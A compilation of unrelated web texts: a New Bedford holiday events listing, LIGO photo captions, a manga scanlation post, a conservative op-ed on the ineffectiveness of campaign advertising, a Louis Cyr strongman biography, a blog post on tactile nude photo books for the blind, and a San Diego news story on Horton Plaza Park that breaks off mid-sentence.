spirit, with an array of festive activities in and around Custom House Square including: Free horse drawn carriage rides, pictures with Mr. & Mrs. Claus on the big red sled, a complimentary gift wrapping station, The Trustees of Reservations Greens (swags/wreaths) sale, The Whaling City Knots will demonstrate and sell their decorative rope creations, plus Mass in Motion Winter Farmer’s Market! www.destinationnewbedford.org/events Seamen’s Bethel Christmas Candlelight Service, featuring Sisters in Song Date and Time: Sunday, December 17 at 4:00 p.m. Location: Seamen’s Bethel, 15 Johnny Cake Hill City Celebrates! New Year’s Eve Date and Time: Sunday, December 31 Location: Downtown New Bedford Ring in the New Year with amazing street performers, stilt walkers, jugglers, fire-eaters, and much more. City Celebrates! details, including the spectacular fireworks display from State Pier on New Bedford’s waterfront, will be announced later this month. -1 of 12 View Caption Laser Interferometer Gravitational-Wave Observatory (LIGO) Co-Founder Rainer Weiss, left, and Kip Thorne, right, accompanied by In A visual of gravitational waves from two converging black holes is depicted on a monitor behind Laser Interferometer Gravitational A visual of gravitational waves from two converging black holes is displayed on a monitor behind Laser Interferometer Gravitationa From left, Interferometer Gravitational-Wave Observatory (LIGO) Exectutive Director David Reitze, LIGO Scientific Collaboration Sp A visual of gravitational waves from two converging black holes is depicted on a monitor behind Laser Interferometer Gravitational From left, National Science Foundation Director France Cordova, Interferometer Gravitational-Wave Observatory (LIGO) Exectutive Di From left, Interferometer Gravitational-Wave Observatory (LIGO) Exectutive Director David Reitze, LIGO Scientific Collaboration Sp Laser Interferometer Gravitational-Wave Observatory (LIGO) Co-Founder Kip Thorne speaks during a news conference at the National P From left, Laser Interferometer Gravitational-Wave Observatory (LIGO) Scientific Collaboration Spokesperson Gabriela Gonzalez, and Laser Interferometer Gravitational-Wave Observatory (LIGO) Co-Founders Rainer Weiss, left, and Kip Thorne, right, participate in a Laser Interferometer Gravitational-Wave Observatory (LIGO) Co-Founder Kip Thorne speaks to members of the media following a news c Laser Interferometer Gravitational-Wave Observatory (LIGO) Co-Founder Kip Thorne waits in a side room before a news conference at -mob psycho 100 chapter 97.8 YES, THIS IS… the chapter installment that kicked my ass. translated by me, typeset by the versatile @femoralynn, here’s the whole thing. if the text in the images is too small to read… you can download the full-size version HERE. – AND AN OMAKE (a continuation of the yakiniku saga) teru is a growing boy. you can upload THE FULL-SIZED VERSION, AVAILABLE HERE, to manga sites if you deem it worthy. if you need a name for the scanlation group, we are Uranucleus Scans. ALSO, because this chapter kicked my ass so hard and there are a few lines that i still feel like i may have misunderstood slightly, i’ve also uploaded the raw chapter into the folder linked above, as the file named “RAWchapter97.8.zip,″ so you can see for yourself what is being said. -Ever since Spiro Agnew’s 1970 speech blasting “nattering nabobs of negativism” in the media, attacking the political neutrality of the mainstream press has been a frequent activity of conservatives. By and large, however, the right-wing response to the media unfairness has been merely to complain about the situation rather than do something about it. Instead of buying, boosting, or starting mainstream media outlets, the primary response of conservatives to counter perceived bias against them in the press has been to purchase television, radio, and direct mail advertising. This has primarily been at the behest of failed political consultants who tell candidates and interest groups that they can get the perfect “messaging” which will be able to magically neutralize months of negative press and also cancel out the themes being put out by the opposition. To such people, liberal media bias exists but it is something that they in their great wisdom can overcome. Contrary to the consultants’ claims, however, empirical research conducted by political scientists shows that such advertising campaigns are not nearly as effective as many donors have been led to believe—especially in presidential campaigns. This year is a unique one in political history in that it will mark the first time ever that many high-dollar GOP donors have decided to opt out of a presidential election. If they had bothered to look at the political science scholarship about televised campaign advertising, they’d have made this decision long ago. There are five reasons why: 1. Research shows that almost half of all political ads are completely ignored and those that are watched do not change opinions. People have not only become jaded about ads generally, they are increasingly able to avoid seeing them at all thanks to the proliferation of television channels, digital video recorders and web ad blocking technologies. According to research done at the University of California–Los Angeles and Stanford University, television viewers tune out almost half, 42 percent, of all campaign commercials—they never even bother to watch them at all. A survey commissioned for the Republican-allied Crossroads Generation group focusing on younger voters found that only about 25 percent of respondents said they used TV ads as a source of political news. This was lower than the number of young people who said they got their news from comedy programs like The Daily Show in a separate survey commissioned by the College Republican National Committee. According to the CRNC report, 40 percent of respondents said they used some form of digital video recorder like TiVo to watch television. A 2013 study by DVR manufacturer Motorola found that 74 percent of American DVR users say they purchased their devices in order to fast-forward commercials. Needless to say, people who want to pay money for the ability to skip commercials are not interested in watching them. But even under ideal conditions outside of the political world, television advertising has been found to have very limited positive effects. The perfect illustration of this is the Super Bowl television spots that have become famous in their own right. But even these ads have been shown to be overwhelmingly ineffective. This is notable since the championship football game is probably the only time that at least some people look forward to watching ads. In fact, 25 percent of Americans say they view the ads as the most important part of the show. Part of the reason that people actually like Super Bowl commercials is that they frequently use humor and risqué themes that no politician would ever dare deploy. Even under these ideal circumstances, the spots have very little effect. According to a two-year study by the advertising research firm Communicus, most Super Bowl ads do not have any positive effect on persuading potential customers to buy the product or service being touted. Of 40 different advertisements studied, 15 of them actually made poll respondents less likely to purchase the product or service being hawked. By contrast, only 13 companies saw an increase in persuasion. The rest saw no significant effect of any kind. That means that 68 percent of Super Bowl advertisements either hurt the brand paying for it or do nothing at all to help it. Considering that most people hate them, political spots have a much more difficult task than Super Bowl advertising. And the research confirms what you would expect in light of the circumstances. According to the academic research, politician ads have almost no effect whatsoever at the presidential level. According to the UCLA-Stanford study mentioned earlier, the people most likely to sit through television political ads are what the authors termed “low engagement” individuals, people who don’t really care about politics and don’t vote. The next group most likely to tune in are “high engagement” voters, political junkies who already have their minds made up. The most highly prized group—the “medium engagement” voters that campaign consultants brag about their ability to reach since they generally vote and are most open to changing their minds—are the people most likely to tune out political ads, especially as the number of those ads on TV increases. The more political advertising these people see, the more they are likely to fast-forward or change the channel. The study’s authors summarized their findings thusly: “Since the low engagement voters probably will not turn out to vote anyway and the high engagement voters likely made up their minds long ago, it is bad news for the candidates that the group they most need to sway is the group most likely to censor them.” Of the few ads which are actually watched and paid attention to, most of them don’t really do much persuading. Instead, they simply make partisans of each side feel good about themselves. Television advertising is particularly ineffective when an incumbent whom voters already know and have likely formed their own opinions about is on the ballot. This was well documented in a 2010 study by political scientists Michael Franz and Travis Ridout who found that advertising in the 2004 campaign had very little effect on people’s willingness to vote for either Republican George W. Bush (the incumbent) or Democrat John Kerry. The study found that Kerry and his allies “had consistent advantages over the Bush camp in spots aired.” In total, Bush and his allies aired 408,604 spots either promoting him or attacking Kerry, far fewer than the 605,533 which backed Kerry. Despite the fact that voters saw far more anti-Bush and pro-Kerry ads, the study found that they had almost no effect on voters. In counties where Kerry had a 1,000-ad advantage over Bush, this yielded a vote increase of less than 1 percent. It was not even a half a percent. It was 0.19 percent. And that was in counties which were not “battleground” ones where voters were being bombarded constantly by advertisements. When Franz and Ridout looked at all counties, they found that a 1,000-ad advantage yielded Kerry an even smaller increase: 0.12 percent. When they looked at just September and October, they found that pro-Kerry ads were even less effective with 1,000 more ads netting him just 0.083 percent more votes. With no incumbent in the race in 2008, the authors found ads were slightly more effective. Across all counties, they found that a 1,000 spot advantage for Democrat Barack Obama or his allies gained him 0.551 points. They were at their most useful in October in non-battleground counties where a 1,000-spot advantage helped Obama gain 1.081 percent more votes. Running more ads in these counties did not help Obama persuade anyone, however; instead, they merely helped him pad his vote total by motivating his base. In 2012, with Obama running as the incumbent, advertising once again became less effective. Georgetown University professor Daniel Hopkins applied this same methodology to the 2012 race and found a similarly low effect on Obama’s vote totals. A 1,000-ad disparity in favor of the president resulted in a vote gain of just 0.14 percent for him. A similar dynamic is in place for congressional elections as well. Campaign spending simply is not as effective as donors and politicos wish it were. According to an analysis of 2014 Senate races by Alan I. Abramowitz of Emory University, spending by both political parties and outside groups “had no discernible impact on the Democratic candidate’s margin in these contests.” Instead, the biggest factors at work were whether an incumbent was in the race and the way the state in question had voted in for president in 2012. The just-concluded Republican presidential primary also showed that spending big has basically nothing to do with actually winning. Despite spending far less than his rivals, businessman Donald Trump was able to clinch the nomination with a vote percentage just slightly lower than Mitt Romney did in 2012. Among the several candidates for president, Trump and his allies spent around $65 million compared to $160 million for Jeb Bush (who dropped out early after losing big in South Carolina), $140 million for Ted Cruz, $111 million for Marco Rubio, and $75 million for Ben Carson. 2. The effects of campaign ads are easily countered When advertising does work, its effects are comparatively small and usually only in markets the other candidate is basically ignoring. In some cases, an advertising disparity can be overcome simply by having the candidate visit an area being blitzed by the opponent and receiving free (and usually positive) local media coverage of the event. The study by Franz and Ridout mentioned earlier noted that the coverage could have slightly or very positive effects: Bush and Kerry visits had a small and insignificant influence on the vote in 2004, though it was in the expected direction, but both Obama and McCain visits were correlated with a significant shift in the vote in 2008 (at about twice the size of the shifts that resulted from Kerry and Bush visits). The effect in nonbattleground states dissipates for Obama, but McCain visits net stronger support for counties in nonbattleground states. This spillover effect is still important in nonbattleground contexts. Because people in counties in spillover markets watch major network affiliates in the battleground states, they are exposed to local news coverage of the candidate visits in those states and are presumably susceptible to the positive press that these visits might engender. This was largely true for McCain in 2008. Franz and Ridout’s research also indicates that a campaign’s reliance on outside groups to provide funding for ads generally support of it can dilute the overall message and thus make the expenditures less effective. This dynamic was at work in the 2004 campaign against John Kerry, in 2008 against John McCain and in the 2012 campaign against Mitt Romney. By contrast, winning candidates George W. Bush and Barack Obama both controlled their messages and their fund-raising. Some ads can indeed be useful tools to increase turnout but to suppose that spending vast sums of money on “negative” ads designed to get around liberal media bias is sound strategy is simply incorrect. Trying to give potential voters unflattering information about the opposing candidate through advertising does not appear to work any better than more positive messages, in large part because negative campaigns tend to also stir up partisans of the opposition. In fact, a meta-study of negative advertising published in The Journal of Politics found that candidates who engaged in it actually saw a slight decline in their own support. The study’s authors cautioned against saying that negative campaigning is generally harmful to the politician engaging in it but what they did feel comfortable saying that it was clear to them that negative campaigning is not effective: We uncovered 43 relevant findings in the literature, 27 involving intended vote choices and 16 involving reported vote choices or official vote totals. […] Only 12 of these outcomes are positive from the attacker’s standpoint. Only five of these 12 are at all appreciable, and they are counterbalanced by five negative effects of similar magnitude. The remaining effects are all small. The overall unadjusted effect of negative campaigns on vote choice indicates a modest disadvantage to the attacker, but that effect vanished when we adjusted the effect sizes. It bears mentioning that the two largest negative effects and all five of the positive ones come from experimental studies in which the dependent variable is vote intention; that particular design evidently produces more volatile outcomes. The broader message, though, is that the research literature does not bear out the proposition that negative political campaigns “work” in shifting votes toward those who wage them. Overall, then, social science research provides some evidence that the mechanisms through which negative campaigning is supposed to work do in fact operate, but there is an overriding lack of evidence that negative campaigning itself works as it is supposed to. Intriguingly, the conclusion that negative campaigning is no more effective than positive campaigning holds even though negative campaigns appear to be somewhat more memorable and to generate somewhat greater campaign-relevant knowledge. That negative campaigning can also rile up the supporters of the opposing side segues perfectly into the next reason why conservatives have been misled about the effectiveness of political advertising: 3. Claims made by Republicans in advertising are frequently derided and declared to be “lies” by left-wing journalists who have anointed themselves to the public as objective “fact checkers.” A study conducted by the Center for Media and Public Affairs found that PolitiFact, a frequently cited website by journalists and campaigns, was more than twice as likely to rate claims made by the Romney campaign to be “false” compared to claims made by the Obama campaign. A separate analysis by the University of Minnesota found that PolitiFact was three times more likely to describe statements made by Republicans as “false.” The bias of such “fact checking” organizations should come as no surprise given that they are primarily run by the same large media organizations which have pervasive ideological diversity problems. PolitiFact is owned by the Tampa Bay Times and many newspapers and television news organizations have created their own imitation operations. Instead of always being about objective reality, however, sometimes the “facts” these websites claim to be providing are simply pronouncements on others’ opinions. Weekly Standard writer Mark Hemingway, a long-time watchdog of the watchdogs, has provided several great examples of how biased and subjective the “fact checking” genre has become. The two examples cited below were written following the November 12, 2011 Republican presidential debate: On Iran, former Massachusetts governor Mitt Romney suggested that the U.S. government should make it “very clear that the United States of America is willing, in the final analysis, if necessary, to take military action to keep Iran from having a nuclear weapon.” Little did Romney realize that the AP is the final arbiter of America’s tactical military capabilities and can say with certainty that a military attack on Iran’s nuclear program should not be attempted. “The U.S. certainly has military force readily at hand to destroy Iran’s known nuclear development sites in short order. This is highly unlikely, however, because of the strategic calculation that an attack would be counterproductive and ultimately ineffective, spawning retaliation against U.S. allies and forces in the region, and merely delaying eventual nuclear weapons development.” Also fortunate for the savvy news consumer, the AP apparently has a better grasp of what America’s intelligence agencies do and do not know than Newt Gingrich, a man who used to be third in line for the presidency and has received countless classified intelligence briefings. At the debate, Gingrich suggested that there was room for improvement at America’s intelligence agencies, and noted in particular that we don’t have a reliable intelligence operation in Pakistan. The AP sprang to the defense of the CIA: “The U.S. killing of a succession of al Qaeda figures in Pakistan, none more prized by America than Osama bin Laden, demonstrates that the United States indeed gets vital and reliable intelligence out of Pakistan. While it may have been true when Gingrich left government in 1999 that the CIA’s spy network was limited, since 2001 the agency has dramatically expanded its on-the-ground operations worldwide,” the AP “fact check” concluded. The fact that bin Laden, the most wanted man on the planet, was living in a compound in Pakistan possibly for years may seem like a sign that our intelligence sources in the country leave something to be desired—but guess again, Newt. The same negative media dynamic against Right-leaning messages is in effect outside of campaigns as well. In July of 2013, the conservative group Americans for Prosperity, a non-profit closely aligned with activist billionaires Charles and David Koch, announced it was going to spend $1 million to air a television ad across Ohio and Virginia criticizing the Obamacare health law. The ad was professionally done and could have been convincing to some people—if only it had not been denounced by legions of Left-leaning media types who took great exception to it. Before we get into the criticism, first some background. The ad featured a woman identified as “Julie, mother of two.” She tells the story of her own experiences with the American medical system and how she is concerned about how the massive Obamacare law’s massive changes might affect her. Here is the full text: Two years ago, my son Caleb began having seizures. The medical care he received meant the world to me. Now, I’m paying more attention. And I have some questions about Obamacare. If we can’t pick our own doctor, how do I know my family is going to get the care they need? And what am I getting in exchange for higher premiums and a smaller paycheck? Can I really trust the folks in Washington with my family’s health care? I think we all deserve some answers. Whether or not Julie is an actor or a real person, the concerns expressed in the ad are valid. It is true that once the law went into full effect, Obamacare did prompt at least some employers to stop paying for their employees’ medical insurance. As left-leaning writer Sarah Kliff admitted in 2011 it would make some sense for employers since “dropping coverage is a pretty decent deal: A company would see its health care costs reduced by over 40 percent.” As of today, larger companies do not seem to have cut back much on employee health insurance subsidies but smaller businesses have. According to the Kaiser Family Foundation, 68 percent of them offered insurance in 2010 while 56 percent did in 2015. All of that could change with economic conditions, however, as the New York Times noted in April. A downturn could mean significant cutbacks in employer generosity. It’s also true that people whose employers have cut back on health coverage would be unlikely to be able to continue seeing their current doctors. Additionally, it is also true that health insurance premiums for everyone except low-income people went up because of Obamacare’s mandating of numerous extra services in private plans and also its requirement that insurance companies cannot deny anyone from purchasing coverage. People who cannot afford to pay the rates of their current insurance providers are also unlikely to be able to remain with their current doctors. While it’s true that not everyone will have to pay more for health insurance or be forced away from their preferred medical service providers, these were valid questions to raise at the time. Conservative health care ideas (to the extent they even exist) have their own problems but it was legitimate for AFP to at least get people thinking about the current law. Left-leaning journalists strongly disagreed. Almost instantly after the ad campaign was announced, establishment media journalists set out to attack it. New York Times editorial board member David Firestone accused AFP of “outright lying” in the advertisement, calling it “the worst kind of misinformation.” Christopher Flavelle of Bloomberg blasted the ad as “false,” “devious,” and “cunningly deceptive.” MSNBC denounced it as “misleading attack ad.” The Daily Beast condemned it as “nonsense” and lamented that the ad’s “emoting” could be persuasive to some people. Taking a less histrionic approach, the Cleveland Plain Dealer dissected the ad in minute detail and rebutted it on several points while uncritically presenting the text of a rival ad from a Democratic group without any criticism at all. CBS News did the exact same thing. Sarah Kliff, then of the Washington Post, who two years earlier had said that it was a “pretty decent deal” for companies to stop providing health coverage, changed her mind, asserting that “health insurance coverage under the Affordable Care Act will work pretty much like it does right now.” She now accused AFP of raising “a bit of a false hypothetical.” The next day, the Post’s self-styled “fact checker” Glenn Kessler gave the spot “Two Pinocchios,” claiming that “the AFP ad sets up a straw man.” While there was some neutral coverage of the AFP advertising buy, its effectiveness was clearly decreased greatly by the copious amount of negative coverage it received from the press. 4. Money spent on ads is very short-lived. Even during a campaign, advertising spending has almost no lasting impact. While campaigns have for decades run polls trying to track the effectiveness of their advertising right after they’ve engaged in it, what many non-academic political observers are not aware of is that there is an entire discipline within political science called “media effects” which has been looking at the impact that advertising has beyond just an overnight poll. What the scholars have found is completely the opposite from the conventional wisdom. Perhaps one of the most widely believed notions in politics is that people actually remember campaign ads. “Early” ad spending has been credited by many political observers as what propelled the Obama 2012 campaign to victory against Mitt Romney. Bill Clinton’s former adviser Dick Morris believed it helped him overcome negative public opinion. Actual scientific research of the longevity of advertising messages completely contradicts these claims. To the extent that ads have an effect, it lasts just a bit longer than the lifespan of a mayfly. For several decades, the consensus within the academic world has been that campaign ads become almost completely ineffective after less than a week of airing. In 2006, this theory was put to the test by a group of social scientists with the cooperation of Texas governor Rick Perry and his chief political strategist Dave Carney who allowed them to use sophisticated research techniques to isolate advertising from the many other variables that can impact a campaign. The circumstances were ideal for study because at the time the analysis was conducted, there were no rival campaigns or organizations running ads. The results confirmed what the political scientists had suspected: contrary to the conventional wisdom, neither radio nor television campaign advertising had “any detectable effect after two days.” As George Washington University professor John Sides wrote in the New York Times, contrary to what most campaign consultants tell their clients and donors, they are as not nearly as sophisticated as the baseball database geeks first profiled in the book Moneyball: Campaigns may be wasting millions of dollars running ads weeks if not months before election day, only to have any effects of those ads dissipate. Case in point: the approximately $20 million that Bill Clinton spent in advertising between July 1995 and January 1996 — months before the 1996 election. The mastermind of this strategy, Dick Morris, wrote that “the key to Clinton’s victory was his early advertising.” But there is little evidence that the ads mattered at all. In other words, much of what goes into modern campaign advertising may be futile. Will this “rapid decay” convince candidates to husband their resources and unleash a barrage of ads on Oct. 30, 2012? Probably not. Might early advertising be useful for raising money or generating media coverage or other things besides moving poll numbers? Possibly yes, although here again there is only a little evidence, if that. Nevertheless, the fact a few eggheads have so spectacularly called into question the months-long television advertising campaign suggests how little may underlie the collected wisdom of the political cognoscenti. Campaigns are spending a lot of money, but they are not playing Moneyball. To the extent that campaign ads can be effective at all, it is for an extremely short amount of time. By contrast, operating a mainstream news outlet like a local television station, newspaper or magazine can actually be profitable and therefore self-sustaining. More than three billion dollars was spent in 2012 on televised advertisements at the presidential level. The portion spent by opponents of President Obama has earned literally zero return on investment. 5. Every dollar in ad buys is a dollar into the hands of the very same media that attack conservative beliefs and candidates instead of being put to use building things that can last. Even if the TV ads that conservatives love so much were actually useful at the presidential level, it seems like none of the organizations paying for them have ever stopped to consider just who they’re buying the ads from: the very same left-leaning media outlets that are constantly condemning them. Republicans have, quite literally, been subsidizing the media arm of the political movement that opposes them. This tactic would be considered madness if it were applied to any other form of human activity: Coke does not purchase advertising on Pepsi bottles, Harvard does not give endowment grants to Yale, and Ford does not seek to help defray the costs of Toyota customers. Anyone touting the advantages of such ideas would immediately be dismissed as insane and rightly so. Of course some amount of advertising is needed but to insist that billions of dollars be spent in such a fruitless manner to the exclusion of any other idea is absurd. Just as no amount of Pepsi advertising dollars will ever be able to convince Coke drinkers that they should switch beverages, Right-leaning philanthropists need to realize that no amount of money spent on campaign ads is somehow going to make Americans become more conservative. Over-relying on advertising is also a less effective way of developing conservative talent. News websites or TV stations need a lot of writers, editors, and technicians in order to function. A political ad rarely needs more than 20. Besides having a much lower return on investment, ad buys cost far more than media properties, particularly online ones. In 2012, the Mitt Romney campaign and its associated political action committee spent nearly $1 billion trying to defeat President Obama. Outside groups spent several hundreds of millions, if not over a billion more dollars on top of that. If even one thousandth of the approximately $2 billion that was spent had been invested to create or boost center-right media outlets, the net effect would have been far more significant per dollar. The odds are pretty good that the operations funded would still be in existence today. They might even be profitable like the Daily Caller is. Conservatives love to complain about the liberal leanings of the mainstream news and entertainment companies but if they were actually serious about their gripes, they would stop funding them and do more than just complain. The only way to beat the media is to become the media. -Louis Cyr: The Canadian Colossus Much like “What’s the best Beatles album?”, “Is Tom Cruise an alien?” and “At what point in the Harry Potter film series it acceptable to mentally undress Hermione Granger?”, the question “Who is the strongest man of all time?” is an oft-debated topic. One man that deserves his name thrown into the ring is Louis Cyr, a French-Canadian brick shithouse who earned worldwide renown at the turn of the twentieth century by performing legendary/completely absurd feats of strength. Cyr (pronounced “seer”) was a modern day Samson figure, an agricultural folk hero whose breathtaking exploits have been passed on by word-of-mouth to successive generations. Among his most extraordinary achievements were raising 4,337 pounds on his back, lifting 500 pounds with just one finger, and deadlifting a horse (?). In the words of Harry Houdini, it is “generally conceded that Louis Cyr was, in his best days, the strongest man in the known-world for straight weightlifting.” Similarly, other authorities on strength, such as Ben Weider (brother of Joe Weider and former chairman of the IFBB), George F. Jowett, and Thomas Inch all believed Cyr to be the strongest man to have ever lived. This is in the context of recorded history, of course, as it’s a safe bet that some demi-celestial nutter from Ancient Greece would have made Cyr look like a malnourished glamour model. With his rotund frame, 60 inch chest, biceps measuring 55cm in circumference, and legs as girthy as prehistoric tree trunks, the “King of the Circus” cut a swathe through the strongman world, leaving world records, dinner tables and beer barrels reeling in his wake. Cyr’s memorably mammoth physique, combined with his ludicrous feats of agricultural strength (most of which would probably be illegal under today’s animals welfare laws), have earned him a permanent place in the history books. This is the story of Louis Cyr, the “Canadian Colossus”. Early life Louis Cyr was born Cyprien Noé Cyr on October 11, 1863 in Saint-Cyprien-de-Napierville, Montérégie. While his father was of average build, it was his mother who possessed the strength genetics. She was, to put it mildly, pretty bloody gargantuan, weighing in at 265 pounds and standing well over 6 feet tall. A physique that would rip a man to pieces. Cyr, who was the second of 17 children, weighed 18 pounds at birth and was naturally gifted with strength as a child. At nine years old he began carrying 100 pound carves under his arm on his family’s farm. At 12 years old Cyr left school to work in lumber camps in the winter months and on his family’s farm for the rest of the year. This is where his real strength really began to develop, and his co-workers and friends quickly became impressed by his precocious lifting capabilities. One of his earliest admirers was his mother, who encouraged him to grow his hair long in order to emulate the Biblical character of Samson. On his father’s farm Louis would literally work out using the farmyard animals as makeshift barbells and dumbbells. When a bull calf was born, for example, he immediately started carrying it around, and then, echoing Milo of Croton, went on to lift the calf every day, getting stronger as the calf got heavier. When he was 14 he moved 15 bushes of grain (900 pounds) a distance of 15 feet. A year later, when he was 15, Cyr, who now weighed 230 pounds, lifted to safety a local farmer’s overloaded horse and cart which had gotten stuck in the mud. This impressive accomplishment spread like wildfire through the local villages, and his co-workers, friends and family urged him to compete in the strongman circuit. So, adopting the name of Louis Cyr (as it was easier to pronounce in English), this baby-faced, curly-haired Canadian, now aged 18, entered his first proper competition in 1881 in Boston. He won the contest – and the instant respect of his peers – by deadlifting a male horse which reputedly weighed 3/4 short tons (0.68t). Finding work Despite his early success, Cyr was unable to earn a living through strength contests alone, so he was forced to pursue other avenues of employment. After marrying a local girl by the name of Melina Courtois (by all accounts an absolute hottie), Cyr put his strength to good use by getting work as a lumberjack. Then, after breaking up a knife fight between two local ruffians (allegedly Cyr ended up subduing both combatants and carrying them to the police station, one under each arm), he was invited to work as a policeman. Cyr later left the police force in order to run a local tavern come gymnasium, which would later become the site of many strongman challenges, through all of which Cyr would remain unbeaten. Touring with the circus As Cyr’s legendary exploits gained renown across Canada and the United States, he started performing in circus strongman shows, and many thousands of people flocked to see him on his first ever tour. Louis Cyr’s circus shows soon became legendary and his name was plastered over newspaper headlines up and down the country. In 1886 he earned the title of the “Strongest Man in Canada” after being pitted against Michaud of Quebec, then Canada’s strongest man. In front of a crowd of over 4,000 people, Cyr defeated Michaud by lifting a granite stone weighing 517 pounds to his shoulders. Shortly after Cyr travelled Europe to compete in strongman competitions, defeating everyone who dared challenge him. During these shows, Cyr racked up a series of stunning achievements. He lifted 500 pounds using just one finger; pulled carts containing 15-20 men; lifted 200 pound barrels of flour to his shoulders; pushed a freight car up a hill; and on one occasion (Boston 1895) raised 4,337 pounds of weight on his back. This last show of strength is an achievement that no-one has ever come close to replicating. Cyr’s most distinguished feat, however, was to stand fast while resisting the pull of four draught horses. He would hold the reigns to two horses in each hand while their grooms cracked whips to encourage the horses to move him – to no avail. At the age of 28, Cyr lifted aloft 278 pounds with his right hand, beating the world record of 274 pounds set by Eugen Sandow. At one point there was talk of a contest between Cyr and Eugen Sandow, but unfortunately this never came to pass as a common set of rules between the two could not be agreed upon. It is the general consensus, however, the Cyr would have wiped the floor with Sandow, and Sandow, ever the astute businessman, and keen to keep his reputation as the world’s strongest man alive, was too shrewd to let this contest happen. Another anecdote from this time concerns his meeting with the Queen of England at Buckingham Palace. Louis wanted to impress her with his strength, so he dug his heels into her red carpet (not a euphemism) and split it with apparent ease. There’s no account of the Queen’s reaction to this act, although if I were her I’d probably be pretty pissed off at having some fat Canadian ruin my royal finery. ButI guess if there’s one person you don’t mess with, it’s the strongest man on Earth. With those credentials you can literally do whatever the fuck you want. Diet Like other strongmen of his time, such as Arthur Saxon, Cyr’s diet was monumental. He was reported to consume six pounds of meat every dinner, and on one occasion Cyr and his strongman pal Horace Barré each devoured a suckling pig in one sitting. However, it was this behemothic diet that contributed to his downfall. In 1904, having reached a titanic 400 pounds in weight, his health began to seriously deteriorate. In fact Cyr’s condition became so bad that for the last years of his life he was consigned to a Morris chair, like some kind of vast disabled slug, only able to digest yoghurt. Death and legacy Louis Cyr died on November 10, 1912 of Bright’s Diseases (Chronic Nephritis) at his farm in Saint-Jean-de-Matha. He was 49 years old. In a fitting testament to his incredible achievements, Cyr’s funeral, which was held at St Peter’s church in Montreal, was attended by thousands of his admirers. Since his death, Louis Cyr’s legacy continues to endure. In 2001 he was inducted into the Panthéon des Sports du Québec (Quebec’s Sporting Hall of Fame) and there is also a museum in his home town of Saint-Jean-de-Matha dedicated to his life and times. In addition, there is a district of Montreal named Louis-Cyr in his honour (located in Saint-Henri, the same area he patrolled as a policeman) and an impressively endowed statue which proudly stands at the Musée de la Civilisation in Quebec. There is also an upcoming biopic about the man himself coming to cinemas in 2014 (see the trailer below) which looks well worth a watch. All in all, Louis Cyr, the “Barrel from Quebec”, was a unique figure in the weightlifting world. Quiet and gentle, charismatic and witty, unorthodox, big of heart, and, of course, sensationally strong. He was unbeaten in his lifetime, and, unlike a few of his contemporaries, never once backed down from a challenge. His feats of strength influenced legions of other strongmen who, down the years, would often try to emulate – but never better – the French-Canadian’s staggering achievements. -Man in Arctic Mask In the 1992 techno-thriller Sneakers starring Robert Redford and Sidney Poitier, the viewer is treated to a quick shot of a braille issue of Playboy magazine, a possession of the film’s sole blind character, “Whistler,” played by David Strathairn. The shot is played for laughs, but braille editions of Playboy are a real thing; on eBay they are rather pricey, fetching prices of $30, $40, $50 and beyond—one optimistic seller is asking $400 for a single copy of the April 1992 edition. It’s not known whether Lisa J. Murphy was inspired by the braille Playboy, but she came up with quite a different solution to the question of providing blind people with sexual gratification via printed matter. A resident of Canada, Murphy has produced a book called Tactile Mind: A Book of Nude Photographs for the Blind/Vision Impaired, which is “a handmade thermoform book consisting of 17, 3-D tactile photographs on white thermoform plastic pages with the visual image and descriptive Braille accompaniment.” After publishing the main book, she followed it up with a smaller set of images she calls Tactile Atelier Bookmark. Referring to her picture of a woman’s posterior with panties on, which you can see below, Murphy said, “The butt was really hard to sculpt. I wanted to get it nice and even and give it a feminine softness so it would actually feel like a woman’s butt. It took me days to sculpt all the curves right, but I’m told it does feel like a woman’s butt in a G-string.” Incidentally, Murphy does not use the word pornography to describe her work. We’re a blog, what can I say? Each book costs $255 Canadian (about $180 U.S.) and can be ordered directly from Murphy’s website. Untitled Naked Pink Elephant Love Robot Woman with a Strap-On Bad Bunny Frog Prince Uncircumsized Penis Posing in Snakeskin Shoes Previously on Dangerous Minds: Do blind people hallucinate on LSD? -Horton Plaza Park, reopened a year ago after an $18 million expansion, sometimes looks like homeless plaza. Dozens of street people, accompanied by backpacks, shopping carts and sleeping bags, can be found dozing in broad daylight on the lawn of the historic park, known for its 107-year-old Broadway Fountain that was designed by famed San Diego architect Irving J. Gill. Others congregate around the umbrella tables in the shadow of the reconstructed Bradley Building, with its temporary mural depicting downtown in an upside-down perspective. Roger Showley/U-T The former Sloan's ice cream store area has been taken over by street people seeking a safe place to sleep and relax. The former Sloan's ice cream store area has been taken over by street people seeking a safe place to sleep and relax. (Roger Showley/U-T) A few huddle beneath the pergola of the now-closed Sloan’s ice cream shop, outside a yet-to-be-opened burger bar, on benches and in the amphitheater. One early afternoon last week there were about 30 apparently homeless people scattered around the 1.2-acre park. Whether it’s the presence of the homeless, the lack of concerts, food services or the design of the park, Horton Plaza Park is not yet the success that was promised. Landscape architect Vicki Estrada, whose office has overlooked the plaza for decades, called it a “big expanse of not too much.” She posted her thoughts on her Facebook page and received numerous replies that were uniformly critical of the park in its reinvented state. “I have not spent much time there, but I hated it,” said housing consultant Peter Denehy. “It’s gone full circle back to the Broadway riffraff trash of the ‘60s,” said John Thurston, a former technical editor. “Quite honestly, it stinks.” “As a design professional, I can say it lacks any heart, soul or anything else redeeming, “ said design professional Robert Dean. “I couldn’t honestly wait to leave.” Urban designer Howard Blackson said a “nutty lady” pulled a knife on him once, but he said the park is better than before: “It’s OK to not mindlessly booster our city because we’re confident enough to take criticism and use it to make improvements.” Roger Showley/U-T The new amphitheater at Horton Plaza Park overlooks an interactive fountain and area for special events. The new amphitheater at Horton Plaza Park overlooks an interactive fountain and area for special events. (Roger Showley/U-T) Help apparently is on the way. To battle crime, police have stepped up patrols and the city has budgeted $150,000 to cover private security patrols. To draw more of the general public, Westfield which manages the shopping center next to the park, is planning a summerful of concerts, movies, art shows, food trucks, farmer’s markets and special events, said Vice President Kim Brewer. “Bringing back the games and bringing back water fountain play days, coloring stations, the fit program, we're going to reengage on a daily basis,” Brewer said. “I definitely think people we've spoken to and even some of the different organizations that plan events — it’s really been a success. These types of spaces take some time to develop.” She said the agreement with the city calls for ramping up events to 200 annually by 2019. Among other ideas in the works: A temporary ice skating rink may be installed for the winter holidays. Yet to be decided, Brewer said, is a full-scale reworking of the shopping center, a project that in discussion for years. Ideas have ranged from adding housing, offices and hotels to tearing down the entire complex and starting over. Meanwhile, visitors can enjoy 30-minute nightly sound-and-light shows. The million-dollar interactive fountain, built as the key feature in the expanded plaza, has been programmed to play in sync with piped in musical selections and special lighting effects. “(We’ll) continue to operate it as a world-class urban space and 